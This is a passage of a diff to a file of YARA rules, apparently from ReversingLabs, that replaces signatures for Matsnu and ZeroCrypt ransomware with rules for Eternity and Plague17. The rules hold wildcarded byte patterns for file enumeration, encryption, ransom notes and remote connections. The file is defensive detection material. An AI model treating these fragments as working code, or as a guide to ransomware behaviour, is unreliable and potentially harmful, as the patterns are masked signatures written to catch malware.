-            ?? C7 45 ?? ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? F3
-            0F 7E 05 ?? ?? ?? ?? 8B F0 2B 75 ?? 66 0F D6 45 ?? 90 8B 55 ?? 8B 4D ?? E8 ?? ?? ??
-            ?? 83 3D ?? ?? ?? ?? ?? F2 0F 10 0D ?? ?? ?? ?? F2 0F 59 C1 F2 0F 59 C1 F2 0F 59 C1
-            F2 0F 11 45 ?? 74 ?? E8 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 3B C8 74 ?? 6A ?? 51 FF 35 ??
-            ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 0F 57 C0 66 0F 13 05 ?? ?? ?? ?? FF 35
-            ?? ?? ?? ?? FF 15 ?? ?? ?? ?? F2 0F 10 45 ?? 83 EC ?? F2 0F 11 44 24 ?? 66 0F 6E C6
-            F3 0F E6 C0 C1 EE
+		$remote_connection = {
+            FF 15 ?? ?? ?? ?? 8B F8 89 7D ?? 85 FF 0F 84 ?? ?? ?? ?? 8B 4D ?? 83 79 ?? ?? 72 ??
+            8B 09 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 51 57 FF 15 ?? ?? ?? ?? 8B F0 89 75 ?? 85
+            F6 0F 84 ?? ?? ?? ?? 8B 4D ?? 53 83 79 ?? ?? 75 ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ??
+            ?? ?? BB ?? ?? ?? ?? EB ?? 51 8D 45 ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? BB
+            ?? ?? ?? ?? 6A ?? 6A ?? FF 75 ?? 8B C8 6A ?? E8 ?? ?? ?? ?? 33 C9 C7 45 ?? ?? ?? ??
+            ?? 66 89 4D ?? 8D 4D ?? 50 C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? F6 C3 ?? 74 ?? 8D 4D
+            ?? 83 E3 ?? E8 ?? ?? ?? ?? F6 C3 ?? 5B 74 ?? 8D 4D ?? E8 ?? ?? ?? ?? 83 7D ?? ?? 8D
+            4D ?? 6A ?? 68 ?? ?? ?? ?? 51 6A ?? 68 ?? ?? ?? ?? 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 0F
+            43 45 ?? 50 68 ?? ?? ?? ?? 56 C7 45 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B F0 85 F6 0F
+            84 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 56 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8B 3D ?? ??
+            ?? ?? 8D 45 ?? 50 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 56 FF D7 85 C0 74 ?? 8B 45 ??
+            85 C0 74 ?? C6 84 05 ?? ?? ?? ?? ?? 80 BD ?? ?? ?? ?? ?? 75 ?? 33 C9 EB ?? 8D 8D ??
+            ?? ?? ?? 8D 51 ?? 8A 01 41 84 C0 75 ?? 2B CA 51 8D 85 ?? ?? ?? ?? 50 8D 4D ?? E8 ??
+            ?? ?? ?? 8D 45 ?? 50 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 56 FF D7 85 C0 75 ?? 8B 7D
+            ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 56 FF 15 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? 8B 45
+            ?? 83 F8 ?? 72 ?? 40 8D 4D ?? 50 FF 75 ?? E8 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 83 7D
+            ?? ?? 8D 4D ?? 8B 45 ?? 8D 55 ?? 0F 43 4D ?? 8B 75 ?? 03 C1 83 7D ?? ?? 8D 4D ?? 52
+            0F 43 4D ?? 50 51 8B CE E8 ?? ?? ?? ?? 8B 4D ?? 83 F9 ?? 72 ?? 41 51 FF 75 ?? 8D 4D
+            ?? E8
         }
 
 	condition:
-		uint16(0)==0x5A4D and ((($find_files) and ($encrypt_files_v1) and ($cmd_prompt) and ($exclude_from_encryption_v1)) or (($find_files) and ($cmd_prompt) and ($ldap_connect) and ($encrypt_files_v2) and ($exclude_from_encryption_v1)) or (($find_files) and ($cmd_prompt) and ($ldap_connect) and ($encrypt_files_v3) and ($exclude_from_encryption_v1)) or (($find_files) and ($encrypt_files_v4) and ($drop_ransom_note_v1) and ( all of ($exclude_from_encryption_v2_p*))) or (($find_files) and ($exclude_from_encryption_v1) and ( any of ($encrypt_files_v5)) and ( all of ($find_system_volumes_v2_p*))) or (( all of ($encrypt_files_v5_p*)) and ( all of ($set_default_icon_p*)) and ($find_system_volumes) and ( all of ($drop_ransom_note_v2_p*)) and ($find_files)) or (( all of ($encrypt_files_v6_p*)) and ( all of ($set_default_icon_p*)) and ( all of ($drop_ransom_note_v2_p*)) and ($find_files)))
+		uint16(0)==0x5A4D and (( all of ($find_files_p*)) and ( all of ($encrypt_files_p*)) and $remote_connection)
 }
-rule REVERSINGLABS_Win32_Ransomware_Matsnu : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Eternity : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects Matsnu ransomware."
+		description = "Yara rule that detects Eternity ransomware."
 		author = "ReversingLabs"
-		id = "2f0bddd5-bd48-5d38-84f4-2dbccbe04a46"
-		date = "2020-07-15"
-		modified = "2020-07-15"
+		id = "7bb0f3b0-a8c0-5239-a1b4-532d403f59bc"
+		date = "2022-07-22"
+		modified = "2022-07-22"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.Matsnu.yara#L1-L116"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "76ef1b4a292f27ccd904e80f0279a7a327f7399a21f2266ef3ea959e5339ffac"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/ByteCode.MSIL.Ransomware.Eternity.yara#L1-L74"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "a2298a26e9bbe2b779eb2afeeda28d4321bc2d26db46bbb377bf86abaf8fa929"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -43880,116 +43874,63 @@ rule REVERSINGLABS_Win32_Ransomware_Matsnu : TC_DETECTION MALICIOUS MALWARE FILE
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "Matsnu"
+		tc_detection_name = "Eternity"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$remote_connection = {
-            55 89 E5 81 EC ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ??
-            ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ??
-            ?? C6 45 ?? ?? 89 9D ?? ?? ?? ?? E8 ?? ?? ?? ?? 5B 8D 83 ?? ?? ?? ?? 8B 00 6A ?? 50
-            FF 93 ?? ?? ?? ?? 8D B3 ?? ?? ?? ?? 8B 36 8D 7D ?? 57 56 FF 93 ?? ?? ?? ?? 85 C0 74
-            ?? 57 8D BB ?? ?? ?? ?? 89 07 5F EB ?? 8D B3 ?? ?? ?? ?? 8B 36 57 8D BB ?? ?? ?? ??
-            89 37 5F 68 ?? ?? ?? ?? FF 93 ?? ?? ?? ?? EB ?? 8D BD ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A
-            ?? 57 FF 93 ?? ?? ?? ?? 8D B3 ?? ?? ?? ?? 8B 36 8D BD ?? ?? ?? ?? 68 ?? ?? ?? ?? 56
-            57 FF 93 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? 8D BD ?? ?? ?? ?? 50 57 FF 93 ?? ?? ?? ?? 85
-            C0 74 ?? C6 00 ?? 8D BD ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 8D B3 ?? ?? ?? ?? 8D 93 ?? ??
-            ?? ?? FF 75 ?? 52 51 56 57 FF 93 ?? ?? ?? ?? 8D BD ?? ?? ?? ?? 8D 4D ?? 51 57 E8 ??
-            ?? ?? ?? 85 C0 74 ?? 89 45 ?? 8D 4D ?? 51 50 E8 ?? ?? ?? ?? 85 C0 75 ?? FF 75 ?? FF
-            93 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? EB ?? 89 85 ?? ?? ?? ?? FF 75 ?? FF 93 ?? ?? ??
-            ?? 8B 45 ?? 8B 75 ?? 89 06 50 FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 75 ?? 83 BD ??
-            ?? ?? ?? ?? 74 ?? FF B5 ?? ?? ?? ?? FF 93 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ??
-            68 ?? ?? ?? ?? FF 93 ?? ?? ?? ?? 8D B3 ?? ?? ?? ?? 8B 36 8D 83 ?? ?? ?? ?? 50 56 FF
-            93 ?? ?? ?? ?? 85 C0 74 ?? 40 57 8D BB ?? ?? ?? ?? 89 07 5F E9 ?? ?? ?? ?? 8D B3 ??
-            ?? ?? ?? 8B 36 57 8D BB ?? ?? ?? ?? 89 37 5F 68 ?? ?? ?? ?? FF 93 ?? ?? ?? ?? E9 ??
-            ?? ?? ?? 8D 83 ?? ?? ?? ?? 8B 00 50 FF 93 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 9D ?? ??
-            ?? ?? C9 C2
-        }
-		$crypto_file = {
-            55 89 E5 83 EC ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? C6 45 ?? ??
-            C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C7 45 ?? ??
-            ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 89 5D ?? E8
-            ?? ?? ?? ?? 5B 8D 83 ?? ?? ?? ?? 8B 00 85 C0 74 ?? 89 45 ?? 8D 83 ?? ?? ?? ?? 8B 00
-            85 C0 74 ?? 8D 7D ?? 8D 75 ?? 8D 4D ?? 51 56 57 FF 75 ?? E8 ?? ?? ?? ?? 85 C0 74 ??
-            89 45 ?? 83 7D ?? ?? 74 ?? FF 75 ?? FF 75 ?? E8 ?? ?? ?? ?? EB ?? FF 75 ?? FF 75 ??
-            FF 93 ?? ?? ?? ?? FF 75 ?? FF 75 ?? E8 ?? ?? ?? ?? EB ?? C7 45 ?? ?? ?? ?? ?? 8B 45
-            ?? 8B 5D ?? C9 C2
+		$find_files = {
+            02 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 25 2D ?? 26 7E ?? ?? ?? ?? FE 06 ?? ??
+            ?? ?? 73 ?? ?? ?? ?? 25 80 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A 06 6F ?? ?? ?? ?? 0C 2B ?? 08
+            6F ?? ?? ?? ?? 0D 09 03 04 28 ?? ?? ?? ?? 08 6F ?? ?? ?? ?? 2D ?? DE ?? 08 2C ?? 08 6F
+            ?? ?? ?? ?? DC 02 28 ?? ?? ?? ?? 0B 07 13 ?? 16 13 ?? 38 ?? ?? ?? ?? 11 ?? 11 ?? 9A 13
+            ?? 11 ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 11 ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ??
+            11 ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 11 ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 11
+            ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 11 ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 11 ??
+            72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 11 ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 11 ?? 72
+            ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 11 ?? 03 04 28 ?? ?? ?? ?? DE ?? 26 DE ?? 11 ?? 17 58
+            13 ?? 11 ?? 11 ?? 8E 69 3F ?? ?? ?? ?? 2A
         }
-		$crypt_file = {
-            55 89 E5 81 EC ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ??
-            ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ??
-            ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ??
-            ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ??
-            ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ??
-            ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 89 9D ?? ?? ?? ?? E8 ?? ?? ?? ??
-            5B 8D BD ?? ?? ?? ?? FF 75 ?? 57 FF 93 ?? ?? ?? ?? 8D BD ?? ?? ?? ?? 8D B3 ?? ?? ??
-            ?? 56 57 FF 93 ?? ?? ?? ?? 8D BD ?? ?? ?? ?? 57 FF 93 ?? ?? ?? ?? 89 45 ?? 8D 85 ??
-            ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 50 FF 93 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ??
-            ?? 8D 8D ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 51 6A ?? 6A ?? 68 ?? ?? ?? ?? FF 30 FF 93 ??
-            ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D B5 ?? ?? ?? ?? 8D 4D ?? 8D 85 ?? ?? ?? ?? 6A ??
-            FF 31 50 FF 36 FF 93 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 8D 85 ??
-            ?? ?? ?? 8D B5 ?? ?? ?? ?? 51 6A ?? FF 36 68 ?? ?? ?? ?? FF 30 FF 93 ?? ?? ?? ?? 85
-            C0 0F 84 ?? ?? ?? ?? FF 75 ?? 6A ?? FF 93 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 89 45
-            ?? 6A ?? FF 75 ?? FF 93 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? FF
-            75 ?? FF 93 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 89 45 ?? 8D 7D ?? 8D 75 ?? 8D 55
-            ?? 52 56 57 FF 75 ?? FF 93 ?? ?? ?? ?? 8B 45 ?? 3D ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D
-            45 ?? 6A ?? 50 FF 75 ?? FF 75 ?? FF 75 ?? FF 93 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ??
-            FF 75 ?? FF 93 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? FF 75
-            ?? FF 75 ?? E8 ?? ?? ?? ?? 8D 7D ?? 8D B5 ?? ?? ?? ?? FF 75 ?? 57 FF 75 ?? 6A ?? 6A
-            ?? 6A ?? FF 36 FF 93 ?? ?? ?? ?? 85 C0 74 ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ??
-            ?? ?? FF 75 ?? FF 93 ?? ?? ?? ?? 83 F8 ?? 74 ?? 89 45 ?? 8D 45 ?? 6A ?? 50 FF 75 ??
-            FF 75 ?? FF 75 ?? FF 93 ?? ?? ?? ?? 85 C0 74 ?? 8D 7D ?? 8D 75 ?? 8D 55 ?? 52 56 57
-            FF 75 ?? FF 93 ?? ?? ?? ?? FF 75 ?? FF 93 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D B3 ??
-            ?? ?? ?? FF 06 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 50 FF 93 ?? ?? ?? ??
-            8B 85 ?? ?? ?? ?? 50 FF 93 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 6A ?? 50 FF 93 ?? ?? ?? ??
-            83 7D ?? ?? 74 ?? FF 75 ?? FF 93 ?? ?? ?? ?? 83 7D ?? ?? 74 ?? FF 75 ?? FF 93 ?? ??
-            ?? ?? 8B 85 ?? ?? ?? ?? 8B 9D ?? ?? ?? ?? C9 C2
+		$encrypt_files = {
+            28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 0A 28 ?? ?? ?? ?? 06 6F ?? ?? ?? ?? 0A 02
+            28 ?? ?? ?? ?? 0B 07 06 28 ?? ?? ?? ?? 0C 02 19 28 ?? ?? ?? ?? 0D 09 16 6A 6F ?? ?? ??
+            ?? 09 6F ?? ?? ?? ?? 02 1C 73 ?? ?? ?? ?? 13 ?? 11 ?? 6F ?? ?? ?? ?? 2C ?? 28 ?? ?? ??
+            ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 11 ?? 11 ?? 16 11 ?? 8E 69 6F ?? ?? ?? ?? 11 ??
+            08 16 08 8E 69 6F ?? ?? ?? ?? 7E ?? ?? ?? ?? 17 58 80 ?? ?? ?? ?? 7E ?? ?? ?? ?? 02 6F
+            ?? ?? ?? ?? DE ?? 11 ?? 2C ?? 11 ?? 6F ?? ?? ?? ?? DC 2A
         }
-		$enum_files_1 = {
-            89 E5 81 EC ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ??
-            C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 89 9D ?? ?? ?? ?? E8 ?? ?? ?? ?? 5B E8 ??
-            ?? ?? ?? 8D 7D ?? 6A ?? FF 75 ?? 57 FF 93 ?? ?? ?? ?? 8D 7D ?? 57 FF 93 ?? ?? ?? ??
-            83 F8 ?? 74 ?? EB ?? 8D 75 ?? 56 E8 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ??
-            ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 9D ?? ?? ?? ?? C9 C2
+		$aes_encrypt = {
+            14 0A 1E 8D ?? ?? ?? ?? 25 D0 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0B 73 ?? ?? ?? ?? 0C 73 ?? ??
+            ?? ?? 0D 09 20 ?? ?? ?? ?? 6F ?? ?? ?? ?? 09 20 ?? ?? ?? ?? 6F ?? ?? ?? ?? 03 07 20 ??
+            ?? ?? ?? 73 ?? ?? ?? ?? 13 ?? 09 11 ?? 09 6F ?? ?? ?? ?? 1E 5B 6F ?? ?? ?? ?? 6F ?? ??
+            ?? ?? 09 11 ?? 09 6F ?? ?? ?? ?? 1E 5B 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 09 17 6F ?? ?? ??
+            ?? 08 09 6F ?? ?? ?? ?? 17 73 ?? ?? ?? ?? 13 ?? 11 ?? 02 16 02 8E 69 6F ?? ?? ?? ?? 11
+            ?? 6F ?? ?? ?? ?? DE ?? 11 ?? 2C ?? 11 ?? 6F ?? ?? ?? ?? DC 08 6F ?? ?? ?? ?? 0A DE ??
+            09 2C ?? 09 6F ?? ?? ?? ?? DC 08 2C ?? 08 6F ?? ?? ?? ?? DC 06 2A
         }
-		$enum_files_2 = {
-            55 89 E5 81 EC ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ??
-            ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ??
-            ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ??
-            66 C7 45 ?? ?? ?? C6 45 ?? ?? 89 9D ?? ?? ?? ?? E8 ?? ?? ?? ?? 5B 83 7D ?? ?? 0F 84
-            ?? ?? ?? ?? FF 75 ?? FF 93 ?? ?? ?? ?? 83 C0 ?? 89 45 ?? 40 50 6A ?? FF 93 ?? ?? ??
-            ?? 85 C0 0F 84 ?? ?? ?? ?? 89 45 ?? FF 75 ?? FF 75 ?? FF 93 ?? ?? ?? ?? 8D 75 ?? 56
-            FF 75 ?? FF 93 ?? ?? ?? ?? 8D BD ?? ?? ?? ?? 57 FF 75 ?? FF 93 ?? ?? ?? ?? 83 F8 ??
-            0F 84 ?? ?? ?? ?? 89 45 ?? 6A ?? FF 93 ?? ?? ?? ?? 8D B5 ?? ?? ?? ?? 8D 55 ?? 8D B5
-            ?? ?? ?? ?? 52 56 FF 93 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 55 ?? 8D B5 ?? ?? ?? ?? 52
-            56 FF 93 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? FF 75 ?? FF 93 ?? ?? ?? ?? 40 89 45 ?? 8D BD
-            ?? ?? ?? ?? 57 FF 93 ?? ?? ?? ?? 03 45 ?? 89 45 ?? 40 50 6A ?? FF 93 ?? ?? ?? ?? 85
-            C0 0F 84 ?? ?? ?? ?? 89 45 ?? FF 75 ?? FF 75 ?? FF 93 ?? ?? ?? ?? 8D 75 ?? 56 FF 75
-            ?? FF 93 ?? ?? ?? ?? 8D B5 ?? ?? ?? ?? 56 FF 75 ?? FF 93 ?? ?? ?? ?? 8B 85 ?? ?? ??
-            ?? A9 ?? ?? ?? ?? 74 ?? FF 75 ?? E8 ?? ?? ?? ?? 85 C0 75 ?? FF 75 ?? E8 ?? ?? ?? ??
-            EB ?? 8D B5 ?? ?? ?? ?? FF 75 ?? 56 FF 75 ?? E8 ?? ?? ?? ?? 83 7D ?? ?? 74 ?? FF 75
-            ?? FF 93 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D BD ?? ?? ?? ?? 57 FF 75 ?? FF 93 ?? ??
-            ?? ?? 85 C0 74 ?? E9 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 83 7D ?? ?? 74 ?? FF
-            75 ?? FF 93 ?? ?? ?? ?? 83 7D ?? ?? 74 ?? FF 75 ?? FF 93 ?? ?? ?? ?? 83 7D ?? ?? 74
-            ?? FF 75 ?? FF 93 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 9D ?? ?? ?? ?? C9 C2
+		$encrypt_pass = {
+            72 ?? ?? ?? ?? 0A 06 73 ?? ?? ?? ?? 0B D0 ?? ?? ?? ?? 28 ?? ?? ?? ?? 73 ?? ?? ?? ?? 0C
+            08 07 6F ?? ?? ?? ?? A5 ?? ?? ?? ?? 0D 73 ?? ?? ?? ?? 13 ?? 11 ?? 09 6F ?? ?? ?? ?? 7E
+            ?? ?? ?? ?? 73 ?? ?? ?? ?? 13 ?? 28 ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 13 ?? 11 ?? 11 ??
+            16 6F ?? ?? ?? ?? 13 ?? 11 ?? 28 ?? ?? ?? ?? 13 ?? 16 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28
+            ?? ?? ?? ?? 11 ?? 28 ?? ?? ?? ?? 2A
         }
 
 	condition:
-		uint16(0)==0x5A4D and $enum_files_1 and $enum_files_2 and $crypto_file and $crypt_file and $remote_connection
+		uint16(0)==0x5A4D and ($find_files) and ($encrypt_files) and ($aes_encrypt) and ($encrypt_pass)
 }
-rule REVERSINGLABS_Win32_Ransomware_Zerocrypt : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win32_Ransomware_Plague17 : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects ZeroCrypt ransomware."
+		description = "Yara rule that detects Plague17 ransomware."
 		author = "ReversingLabs"
-		id = "89e47d7f-1ac4-570d-8ae1-30f0acc21462"
-		date = "2020-07-15"
-		modified = "2020-07-15"
+		id = "065c47b5-f459-529e-8046-7394a742b50a"
+		date = "2021-02-19"
+		modified = "2021-02-19"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.ZeroCrypt.yara#L1-L94"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "947925206ded187eac31c5046d75ab017869ae3f8dc906f2e5536d4db219f108"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.Plague17.yara#L1-L263"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "e0e518fc83a62d70b83df273c6ba469e6f0fdf9c035126428ec7561e04437b6f"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -43997,96 +43938,245 @@ rule REVERSINGLABS_Win32_Ransomware_Zerocrypt : TC_DETECTION MALICIOUS MALWARE F
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "ZeroCrypt"
+		tc_detection_name = "Plague17"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$encrypt_file_1 = {
-            55 8B EC 83 E4 ?? 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 81 EC ?? ?? ?? ?? A1 ??
-            ?? ?? ?? 33 C4 89 84 24 ?? ?? ?? ?? 53 56 57 A1 ?? ?? ?? ?? 33 C4 50 8D 84 24 ?? ??
-            ?? ?? 64 A3 ?? ?? ?? ?? 8B F2 8B F9 68 ?? ?? ?? ?? 8B D7 8D 4C 24 ?? E8 ?? ?? ?? ??
-            83 C4 ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 8B D0 56 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ??
-            ?? 83 C4 ?? C6 84 24 ?? ?? ?? ?? ?? 83 7C 24 ?? ?? 72 ?? FF 74 24 ?? E8 ?? ?? ?? ??
-            83 C4 ?? 33 C0 C7 44 24 ?? ?? ?? ?? ?? 83 7E ?? ?? C7 44 24 ?? ?? ?? ?? ?? 66 89 44
-            24 ?? 72 ?? 8B 16 EB ?? 8B D6 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 84 24 ?? ?? ??
-            ?? ?? 33 C0 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84
-            24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 66 89 84 24 ?? ?? ?? ??
-            C6 84 24 ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 50 E8 ??
-            ?? ?? ?? 83 C4 ?? 8B D6 8D 4C 24 ?? E8 ?? ?? ?? ?? 8B F0 C6 84 24 ?? ?? ?? ?? ?? 8B
-            D7 68 ?? ?? ?? ?? 8D 4C 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? C6 84 24 ?? ?? ?? ?? ?? 8B D0
-            56 8D 4C 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? C6 84 24 ?? ?? ?? ?? ?? 8B D0 68 ?? ?? ?? ??
-            8D 4C 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B F0 C6 84 24 ?? ?? ?? ?? ?? 8D 84 24 ?? ?? ??
-            ?? 3B C6 74 ?? 83 BC 24 ?? ?? ?? ?? ?? 72 ?? FF B4 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83
-            C4 ?? 33 C0 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 56 8D 8C 24 ?? ?? ?? ?? C7 84 24 ?? ??
-            ?? ?? ?? ?? ?? ?? 66 89 84 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? 83
-            7C 24 ?? ?? 72 ?? FF 74 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 C7 44 24 ?? ?? ?? ?? ??
-            C7 44 24 ?? ?? ?? ?? ?? 66 89 44 24 ?? C6 84 24 ?? ?? ?? ?? ?? 83 7C 24 ?? ?? 72 ??
-            FF 74 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ??
-            ?? ?? 66 89 44 24 ?? C6 84 24 ?? ?? ?? ?? ?? 83 7C 24 ?? ?? 72 ?? FF 74 24 ?? E8 ??
